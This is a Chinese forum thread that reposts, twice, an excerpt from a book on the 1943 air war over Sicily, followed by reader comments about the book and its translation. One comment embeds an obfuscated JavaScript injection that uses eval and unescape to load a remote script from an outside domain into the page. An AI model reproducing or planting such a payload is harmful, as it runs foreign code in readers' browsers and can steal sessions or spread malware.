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来源：百度文库 编辑：超级军网 时间：2024/04/29 00:24:24
西西里空战——《意大利空战1943-1945：欧洲战场软肋上空的殊死争夺》
文/赵国星、冯涛
本文摘选自《意大利空战1943-1945：欧洲战场软肋上空的殊死争夺》，如需转载请注明出处。
本文摘选自《意大利空战1943-1945：欧洲战场软肋上空的殊死争夺》，如需转载请注明出处。
1948年，在回顾德国空军的作战历史时，英国航空部毫不客气地评论道：
“在北非战役的最后阶段，地中海战区的德国空军虽然仍有超过800架飞机，但已彻底丧失了斗志……在战役的最后阶段几乎毫无作为。”
为了挽回颓势，整编和补充势在必行。德国空军的飞行单位隶属于各航空队（Luftflotten）。每个航空队都下辖一个或数个具备独立作战能力，且拥有轰炸机、战斗机、对地攻击机和侦察机单位，作战能力均衡的航空军（Fliegerkorps）。
在北非战役失败之后，德军地中海航空部队分属两个独立的司令部指挥——负责希腊、克里特和巴尔干地区作战的东南司令部，以及负责意大利、西西里、撒丁岛、科西嘉和法国南部部分地区的第2航空队。同时，由于第2航空队司令部暴露出了其指挥能力与斗志的不堪，德国空军从东线调来了能力超群且斗志昂扬的沃尔夫姆·冯·里希特霍芬元帅（Wolframvon Richthofen）。里希特霍芬麾下的第2航空军司令为阿尔弗雷德·布洛维乌斯将军（AlfredBuelowius），此人曾在东线负责和1个集团军协调指挥作战。在第2航空军编成下新组建的一个轰炸机部队编制，由冉冉升起的将星，曾经的“斯图卡”飞行员迪特里希·佩尔茨上校（DietrichPeltz）指挥，此人曾经负责指挥对英国本土的作战行动。与此同时，在德国空军总司令部的德国空军战斗机部队总监阿道夫·加兰德将军（Adolf Galland）也被派往地中海，以加快战斗机飞行员和飞机的补充速度，同时恢复该战区部队的战斗力和士气。
【1架B-17“空中堡垒”重型轰炸机从已经遭到了盟军轰炸的西西里岛东部港口城市卡塔尼亚上空飞过。】
1943年5月20日，地中海战区的德国空军拥有约989架作战飞机——541架战斗机和战斗轰炸机、240架轰炸机、97架近程和远程侦察机、58架对地攻击机和53架岸基对海攻击机，但只有578架可用。意大利军队则拥有1385架作战飞机（901架战斗机和484架轰炸机），但仅有698架可以升空作战。德意两国的1276架可用飞机全部分散在北起阿尔卑斯山脉，东抵希腊的广大地区内。
至1943年7月初时，轴心国有775架作战飞机可以飞抵西西里岛，另有至少63架轰炸机的作战半径可达西西里岛，岛上部署的434架飞机中四分之三为战斗机和战斗轰炸机。盟军在地中海战区总共拥有267个可以作战的飞行中队——146个为美军中队，121个为英军中队，盟军在作战飞机数量上拥有明显但并非是压倒性优势。
【 1943年5月10日，美军第12轰炸机大队于上午8时35分轰炸马加纳机场时拍摄的照片。从照片中可以看到此时的炸点主要集中于机场东面，机场及北面一处油库被击中升腾起浓密的烟云。机场南面山体中的地下机库此时并没有中弹。】
盟军地面部队司令亚历山大将军负责西西里登陆作战，其麾下拥有115000名英军和超过66000人的美军突击部队，将搭乘2500艘海军舰艇和登陆艇，登陆西西里岛。通过监听轴心国军队的通讯，有迹象表明，轴心国军队的空中力量集中在撒丁岛、西西里岛和潘泰莱里亚岛（Pantelleria，位于西西里岛和突尼斯之间），总共可以动用795架飞机（545架德国飞机）空袭盟军登陆舰队。笨拙的登陆舰队和护航的海军舰艇在近岸海域非常脆弱，容易遭到空袭，而且德军的Fw 190战斗机是特别让盟军忌惮的对手。作为一种防空战斗机，Fw 190速度很快，结构坚固，后又演变为一款战斗轰炸机。1942年底，德军在西西里的科米索机场（Comiso）部署了一整个大队的Fw 190，其主要进行反舰作战。在对舰攻击时，该机会在2400米左右的高度从目标一侧接近，当敌舰队消失在机翼下方的瞬间，飞行员会以50度角进入俯冲，瞄准目标以800公里/小时速度逼近，在1200米左右高度投弹，在投下500公斤炸弹之后飞行员会转向以规避敌防空火力，在45米高度脱离。
根据在北非战场上的经验，特德总结出两条准则——空中优势是压倒一切的重中之重，并且为了保持攻击的势头，势必要尽早夺取敌军的机场。要想达成这一目的，必须保证陆军与空军之间的密切协同。空军要协助陆军登陆，而同时陆军要支援空军夺取机场。
【 1943年6月驻扎西西里特拉帕尼机场的JG 27战斗机联队第6中队黄色8号Bf 109G-4战斗机侧视涂装彩绘。】
由于只有从马耳他起飞的单座战斗机的作战半径能覆盖西西里南部地区，因此，截止到1943年6月，盟军将大约600架一线飞机以及大批引导雷达和控制连接设备部署在马耳他岛和戈佐岛（Gozo），并接受英国空军少将基思·帕克（KeithPark）的指挥，此人曾经在不列颠空战中担任大队指挥官，精力充沛。但是，特德向亚历山大将军汇报，从马耳他或突尼斯出发的单发战斗机只能为西西里南部的盟军提供空中掩护，除了马耳他起飞的战斗机，从其他机场起飞的战斗机的作战半径无法覆盖西西里东北部的重要港口墨西拿（Messina）。亚历山大认真听取了特德的汇报。特德指出：“坐落在南岸内陆的科米索至杰拉（Gela）之间地区的机场，已经被改造为一流的空军基地，除非能够夺取这里的机场为我所用，否则我空军必然被迫在极为不利的条件下作战。”考虑到空军的重要作用，即使要冒着通过开阔的海滩和两个小型港口向部队提供补给的风险，在战役发起以后尽快夺取攸关战局的科米索-杰拉地区的机场也是值得的。
甚至在突尼斯轴心国军队投降以前，盟军的战略轰炸机部队就已经开始着手准备下一步行动。在白天由美国第12航空队的B-17重型轰炸机和第9航空队的B-24重型轰炸机对西西里岛实施空袭，夜间则由皇家空军第205大队的“惠灵顿”中型轰炸机出动。作为日后登陆作战的准备工作，盟军的主要空袭目标是机场、港口和陆路交通线，意图将西西里岛上的轴心国空军力量消灭在地面，并使岛上驻军无法得到补充。
【1943年7月12日，几名美军士兵正在围观一架被击落在杰拉附近的德军战斗机残骸和阵亡的德国飞行员的尸体。】
从5月8日到10日，也就是突尼斯的轴心国军队投降前几天，盟军对位于突尼斯和西西里岛之间狭窄海峡上的潘泰莱里亚岛展开了为期三天的猛烈空袭。此后盟军于5月18日重新开始空袭潘泰莱里亚岛；从6月6日开始，除“惠灵顿”轰炸机单位外，所有隶属西北非战略航空兵的中队都逐渐投入到这一行动中来；战术轰炸机部队和专门配属的美第12空中支援司令部所属部队也参加了空袭行动。战术轰炸机部队包括美国航空兵2个B-25中型轰炸机大队，配备Leo 45轰炸机的法国空军第8大队，加上南非空军和英国皇家空军的“波士顿”III型轻型轰炸机（英国定型为“道格拉斯”DB-7B型）和“巴尔的摩”III型（英国定型为“马丁”187型），以及美军一个大队的A-20“波士顿”攻击机。对于可快速定位的目标，战术轰炸机部队擅于在更短的反应时间内投射更大当量的打击，优势无可企及。战术轰炸机不会遇到很大的威胁，特别是在有战斗机护航的条件下，而且它们的航程可以越过160公里宽的西西里海峡。
正如罗德里克·欧文（Roderic Owen）生动的描写所述：
“潘泰莱里亚岛就相当于意大利的赫尔戈兰岛（Heligoland,北海上的德国岛屿）。自1926年被划为禁区以来，意大利军队在一块火山岩结构的低洼地段里部署着大约100座炮台，用于拱卫岛上的一座带地下机库和大功率雷达装置的机场……意军在这片42.5平方英里（约110平方公里）的地方部署了约10000名守军；岛上物资供应充足，水源的供应虽称不上丰富，但足够使用。”
潘泰莱里亚岛驻军的首要任务就是充当罗马的耳目，及时发现在狭窄的海峡、北非海岸以及空中的盟军行动。如果不拔除潘泰莱里亚这颗钉子，那么盟军将要展开登陆西西里的行动就会成为暴露在敌军监视下的实况转播。而且，掩护登陆部队的轰炸机编队很可能招致岛上80架敌机的攻击。
【 盟军B-25轰炸机群飞越墨西拿海峡时，经常会遭到德军高炮的火力拦截】
从5月8日到6月11日，在盟军展开海上突击之际，西北非航空兵向潘泰莱里亚这个被意大利法西斯宣传机构吹嘘为“意大利的直布罗陀”的小岛，发动了154次空袭（5218架次），总计投弹6400吨。仅6月10日，盟军就倾泻了1500吨炸弹，但是盟军预计，潘泰莱里亚登陆战仍然会是一场苦战。彼得·福克斯少校（PeterFaulks）指挥的威灵顿勋爵团第1营D连搭乘的登陆艇在快要登陆的时候，却在岸边开始打转。这支部队原本是大部队的先锋，现在却不得不设法越过拥挤在海滩上的后勤人员赶到前边去。他们其实大可不必如此焦心。意大利守军的士气已经彻底崩溃，早就束手就擒了：他们站在海岸上欢迎盟军上岸，打点好了行装准备投降。英军登陆部队唯一的伤亡居然是1名士兵被狗咬伤。潘泰莱里亚之战成为了战史上第一例利用空中优势击溃地面部队的战例。
和潘泰莱里亚岛情况类似的兰佩杜萨岛（Lampedusa）也在黎明时开始经受盟军的空袭。到当天黄昏时分为止，盟军总共出动450架次飞机，投弹270吨。1架英国皇家空军的水上救援飞机由于发动机故障，被迫在岛上的机场降落，让英国机组人员惊讶的是，守岛的意军指挥官居然试图向飞机上的1名英军士官投降。守军在大约19时打出了白旗。洽降谈判很快就开始了，但是意军指挥官却迟迟拒绝在投降条款上签字，“直到他相信盟军还有1000架轰炸机可用时，他才借了一支钢笔，在投降书上签上了自己的名字”。这种利用持续空袭摧毁敌军士气的战例，成了接下来的几个月中盟军信心爆棚的源泉。
轴心国在西西里岛上有19座主要机场和一大批新建的小机场，从1943年6月15日开始，按照特德的话说：“（盟军）对敌机场发起了一波波强度逐渐增大的空袭。”坐落在西西里岛东端的格尔比尼机场（Gerbini）是德国空军战斗机部队在西西里的主要基地，也得到了驻扎在昔兰尼加（Cyrenaica）盟军重型轰炸机的特别关照。轰炸中使用的炸弹型号取决于目标类型。美制500磅普通炸弹被认为适合袭击机库和建筑物，100磅和50磅破片杀伤弹则最适合打击停在开阔区域上的敌机。
空袭的效果相当不错，正如特德所记述的：“敌机为了躲避空袭，从一座机场转移到另一座机场，分散到预先准备好的备用跑道，敌人的一举一动都被我军从空中严密监视。敌军匆匆四处转移，结果他们被迫把轰炸机疏散到意大利本土的机场。这自然增加了轰炸机的作战航程，而战斗机不得不留在西西里作战，进一步削弱了岛上轴心国空中力量的战斗力。敌军最后一次对我航空兵行动造成较大的影响是在7月5日。”
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西西里空战——《意大利空战1943-1945：欧洲战场软肋上空的殊死争夺》
文/赵国星、冯涛
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1948年，在回顾德国空军的作战历史时，英国航空部毫不客气地评论道：
“在北非战役的最后阶段，地中海战区的德国空军虽然仍有超过800架飞机，但已彻底丧失了斗志……在战役的最后阶段几乎毫无作为。”
为了挽回颓势，整编和补充势在必行。德国空军的飞行单位隶属于各航空队（Luftflotten）。每个航空队都下辖一个或数个具备独立作战能力，且拥有轰炸机、战斗机、对地攻击机和侦察机单位，作战能力均衡的航空军（Fliegerkorps）。
在北非战役失败之后，德军地中海航空部队分属两个独立的司令部指挥——负责希腊、克里特和巴尔干地区作战的东南司令部，以及负责意大利、西西里、撒丁岛、科西嘉和法国南部部分地区的第2航空队。同时，由于第2航空队司令部暴露出了其指挥能力与斗志的不堪，德国空军从东线调来了能力超群且斗志昂扬的沃尔夫姆·冯·里希特霍芬元帅（Wolframvon Richthofen）。里希特霍芬麾下的第2航空军司令为阿尔弗雷德·布洛维乌斯将军（AlfredBuelowius），此人曾在东线负责和1个集团军协调指挥作战。在第2航空军编成下新组建的一个轰炸机部队编制，由冉冉升起的将星，曾经的“斯图卡”飞行员迪特里希·佩尔茨上校（DietrichPeltz）指挥，此人曾经负责指挥对英国本土的作战行动。与此同时，在德国空军总司令部的德国空军战斗机部队总监阿道夫·加兰德将军（Adolf Galland）也被派往地中海，以加快战斗机飞行员和飞机的补充速度，同时恢复该战区部队的战斗力和士气。
【1架B-17“空中堡垒”重型轰炸机从已经遭到了盟军轰炸的西西里岛东部港口城市卡塔尼亚上空飞过。】
1943年5月20日，地中海战区的德国空军拥有约989架作战飞机——541架战斗机和战斗轰炸机、240架轰炸机、97架近程和远程侦察机、58架对地攻击机和53架岸基对海攻击机，但只有578架可用。意大利军队则拥有1385架作战飞机（901架战斗机和484架轰炸机），但仅有698架可以升空作战。德意两国的1276架可用飞机全部分散在北起阿尔卑斯山脉，东抵希腊的广大地区内。
至1943年7月初时，轴心国有775架作战飞机可以飞抵西西里岛，另有至少63架轰炸机的作战半径可达西西里岛，岛上部署的434架飞机中四分之三为战斗机和战斗轰炸机。盟军在地中海战区总共拥有267个可以作战的飞行中队——146个为美军中队，121个为英军中队，盟军在作战飞机数量上拥有明显但并非是压倒性优势。
【 1943年5月10日，美军第12轰炸机大队于上午8时35分轰炸马加纳机场时拍摄的照片。从照片中可以看到此时的炸点主要集中于机场东面，机场及北面一处油库被击中升腾起浓密的烟云。机场南面山体中的地下机库此时并没有中弹。】
盟军地面部队司令亚历山大将军负责西西里登陆作战，其麾下拥有115000名英军和超过66000人的美军突击部队，将搭乘2500艘海军舰艇和登陆艇，登陆西西里岛。通过监听轴心国军队的通讯，有迹象表明，轴心国军队的空中力量集中在撒丁岛、西西里岛和潘泰莱里亚岛（Pantelleria，位于西西里岛和突尼斯之间），总共可以动用795架飞机（545架德国飞机）空袭盟军登陆舰队。笨拙的登陆舰队和护航的海军舰艇在近岸海域非常脆弱，容易遭到空袭，而且德军的Fw 190战斗机是特别让盟军忌惮的对手。作为一种防空战斗机，Fw 190速度很快，结构坚固，后又演变为一款战斗轰炸机。1942年底，德军在西西里的科米索机场（Comiso）部署了一整个大队的Fw 190，其主要进行反舰作战。在对舰攻击时，该机会在2400米左右的高度从目标一侧接近，当敌舰队消失在机翼下方的瞬间，飞行员会以50度角进入俯冲，瞄准目标以800公里/小时速度逼近，在1200米左右高度投弹，在投下500公斤炸弹之后飞行员会转向以规避敌防空火力，在45米高度脱离。
根据在北非战场上的经验，特德总结出两条准则——空中优势是压倒一切的重中之重，并且为了保持攻击的势头，势必要尽早夺取敌军的机场。要想达成这一目的，必须保证陆军与空军之间的密切协同。空军要协助陆军登陆，而同时陆军要支援空军夺取机场。
【 1943年6月驻扎西西里特拉帕尼机场的JG 27战斗机联队第6中队黄色8号Bf 109G-4战斗机侧视涂装彩绘。】
由于只有从马耳他起飞的单座战斗机的作战半径能覆盖西西里南部地区，因此，截止到1943年6月，盟军将大约600架一线飞机以及大批引导雷达和控制连接设备部署在马耳他岛和戈佐岛（Gozo），并接受英国空军少将基思·帕克（KeithPark）的指挥，此人曾经在不列颠空战中担任大队指挥官，精力充沛。但是，特德向亚历山大将军汇报，从马耳他或突尼斯出发的单发战斗机只能为西西里南部的盟军提供空中掩护，除了马耳他起飞的战斗机，从其他机场起飞的战斗机的作战半径无法覆盖西西里东北部的重要港口墨西拿（Messina）。亚历山大认真听取了特德的汇报。特德指出：“坐落在南岸内陆的科米索至杰拉（Gela）之间地区的机场，已经被改造为一流的空军基地，除非能够夺取这里的机场为我所用，否则我空军必然被迫在极为不利的条件下作战。”考虑到空军的重要作用，即使要冒着通过开阔的海滩和两个小型港口向部队提供补给的风险，在战役发起以后尽快夺取攸关战局的科米索-杰拉地区的机场也是值得的。
甚至在突尼斯轴心国军队投降以前，盟军的战略轰炸机部队就已经开始着手准备下一步行动。在白天由美国第12航空队的B-17重型轰炸机和第9航空队的B-24重型轰炸机对西西里岛实施空袭，夜间则由皇家空军第205大队的“惠灵顿”中型轰炸机出动。作为日后登陆作战的准备工作，盟军的主要空袭目标是机场、港口和陆路交通线，意图将西西里岛上的轴心国空军力量消灭在地面，并使岛上驻军无法得到补充。
【1943年7月12日，几名美军士兵正在围观一架被击落在杰拉附近的德军战斗机残骸和阵亡的德国飞行员的尸体。】
从5月8日到10日，也就是突尼斯的轴心国军队投降前几天，盟军对位于突尼斯和西西里岛之间狭窄海峡上的潘泰莱里亚岛展开了为期三天的猛烈空袭。此后盟军于5月18日重新开始空袭潘泰莱里亚岛；从6月6日开始，除“惠灵顿”轰炸机单位外，所有隶属西北非战略航空兵的中队都逐渐投入到这一行动中来；战术轰炸机部队和专门配属的美第12空中支援司令部所属部队也参加了空袭行动。战术轰炸机部队包括美国航空兵2个B-25中型轰炸机大队，配备Leo 45轰炸机的法国空军第8大队，加上南非空军和英国皇家空军的“波士顿”III型轻型轰炸机（英国定型为“道格拉斯”DB-7B型）和“巴尔的摩”III型（英国定型为“马丁”187型），以及美军一个大队的A-20“波士顿”攻击机。对于可快速定位的目标，战术轰炸机部队擅于在更短的反应时间内投射更大当量的打击，优势无可企及。战术轰炸机不会遇到很大的威胁，特别是在有战斗机护航的条件下，而且它们的航程可以越过160公里宽的西西里海峡。
正如罗德里克·欧文（Roderic Owen）生动的描写所述：
“潘泰莱里亚岛就相当于意大利的赫尔戈兰岛（Heligoland,北海上的德国岛屿）。自1926年被划为禁区以来，意大利军队在一块火山岩结构的低洼地段里部署着大约100座炮台，用于拱卫岛上的一座带地下机库和大功率雷达装置的机场……意军在这片42.5平方英里（约110平方公里）的地方部署了约10000名守军；岛上物资供应充足，水源的供应虽称不上丰富，但足够使用。”
潘泰莱里亚岛驻军的首要任务就是充当罗马的耳目，及时发现在狭窄的海峡、北非海岸以及空中的盟军行动。如果不拔除潘泰莱里亚这颗钉子，那么盟军将要展开登陆西西里的行动就会成为暴露在敌军监视下的实况转播。而且，掩护登陆部队的轰炸机编队很可能招致岛上80架敌机的攻击。
【 盟军B-25轰炸机群飞越墨西拿海峡时，经常会遭到德军高炮的火力拦截】
从5月8日到6月11日，在盟军展开海上突击之际，西北非航空兵向潘泰莱里亚这个被意大利法西斯宣传机构吹嘘为“意大利的直布罗陀”的小岛，发动了154次空袭（5218架次），总计投弹6400吨。仅6月10日，盟军就倾泻了1500吨炸弹，但是盟军预计，潘泰莱里亚登陆战仍然会是一场苦战。彼得·福克斯少校（PeterFaulks）指挥的威灵顿勋爵团第1营D连搭乘的登陆艇在快要登陆的时候，却在岸边开始打转。这支部队原本是大部队的先锋，现在却不得不设法越过拥挤在海滩上的后勤人员赶到前边去。他们其实大可不必如此焦心。意大利守军的士气已经彻底崩溃，早就束手就擒了：他们站在海岸上欢迎盟军上岸，打点好了行装准备投降。英军登陆部队唯一的伤亡居然是1名士兵被狗咬伤。潘泰莱里亚之战成为了战史上第一例利用空中优势击溃地面部队的战例。
和潘泰莱里亚岛情况类似的兰佩杜萨岛（Lampedusa）也在黎明时开始经受盟军的空袭。到当天黄昏时分为止，盟军总共出动450架次飞机，投弹270吨。1架英国皇家空军的水上救援飞机由于发动机故障，被迫在岛上的机场降落，让英国机组人员惊讶的是，守岛的意军指挥官居然试图向飞机上的1名英军士官投降。守军在大约19时打出了白旗。洽降谈判很快就开始了，但是意军指挥官却迟迟拒绝在投降条款上签字，“直到他相信盟军还有1000架轰炸机可用时，他才借了一支钢笔，在投降书上签上了自己的名字”。这种利用持续空袭摧毁敌军士气的战例，成了接下来的几个月中盟军信心爆棚的源泉。
轴心国在西西里岛上有19座主要机场和一大批新建的小机场，从1943年6月15日开始，按照特德的话说：“（盟军）对敌机场发起了一波波强度逐渐增大的空袭。”坐落在西西里岛东端的格尔比尼机场（Gerbini）是德国空军战斗机部队在西西里的主要基地，也得到了驻扎在昔兰尼加（Cyrenaica）盟军重型轰炸机的特别关照。轰炸中使用的炸弹型号取决于目标类型。美制500磅普通炸弹被认为适合袭击机库和建筑物，100磅和50磅破片杀伤弹则最适合打击停在开阔区域上的敌机。
空袭的效果相当不错，正如特德所记述的：“敌机为了躲避空袭，从一座机场转移到另一座机场，分散到预先准备好的备用跑道，敌人的一举一动都被我军从空中严密监视。敌军匆匆四处转移，结果他们被迫把轰炸机疏散到意大利本土的机场。这自然增加了轰炸机的作战航程，而战斗机不得不留在西西里作战，进一步削弱了岛上轴心国空中力量的战斗力。敌军最后一次对我航空兵行动造成较大的影响是在7月5日。”
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赵老师翻译的书都要支持
支持一下，支持一下
这是图史？
不会是翻译自克里斯托弗.肖那套地中海空战三部曲吧？
隼鹰 发表于 2016-1-8 23:40
不会是翻译自克里斯托弗.肖那套地中海空战三部曲吧？
那套目前只出到第二本只写到43年3月为止，其中出现的一些和美机交战的内容还将在第三卷中重写.
第三本是42年11月至43年5月突尼斯战役结束，至43年3月的内容主讲火炬行动登陆部队，43年3月东西两方向盟军会师后再一起写到战役结束.这本书可以肯定和shores的没有一毛关系.
不会是翻译自克里斯托弗.肖那套地中海空战三部曲吧？
那套目前只出到第二本只写到43年3月为止，其中出现的一些和美机交战的内容还将在第三卷中重写.
第三本是42年11月至43年5月突尼斯战役结束，至43年3月的内容主讲火炬行动登陆部队，43年3月东西两方向盟军会师后再一起写到战役结束.这本书可以肯定和shores的没有一毛关系.
隼鹰 发表于 2016-1-8 23:40
不会是翻译自克里斯托弗.肖那套地中海空战三部曲吧？
Air War Over Italy, 1943-1945
Andrew J. Brookes
写编著不写原作者，估计又是没买版权
不会是翻译自克里斯托弗.肖那套地中海空战三部曲吧？
Air War Over Italy, 1943-1945
Andrew J. Brookes
写编著不写原作者，估计又是没买版权
我来看隐藏的东西的http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'
上架了没哟 好想买一本
这书标题有点意思，一般来说主标题采用文学化语言，而副标题进行准确的说明性表述，这书刚好相反。
？？？
？？？
支持，要收的！
昨天已下单，后天才到货。
《烈焰之岛》什么时候出？
欧洲战场软肋上空的殊死争夺
谁能把 Christopher Shores（克里斯托弗.肖）的三卷本 A History of the Mediterranean Air War, 1940-1945（《地中海空战史，1940-1945》）翻译了？功德无量啊
谁能把 Christopher Shores（克里斯托弗.肖）的三卷本 A History of the Mediterranean Air War, 1940-1945（《地中海空战史，1940-1945》）翻译了？功德无量啊
武大有本锋火亚平宁。准备和这本接合起来一正看。
有些残酷！
支持，也该出版了，哈哈。
rq4 发表于 2016-3-7 11:19
《烈焰之岛》什么时候出？
已经出了 ，亲
《烈焰之岛》什么时候出？
已经出了 ，亲
支持赵国星老师作品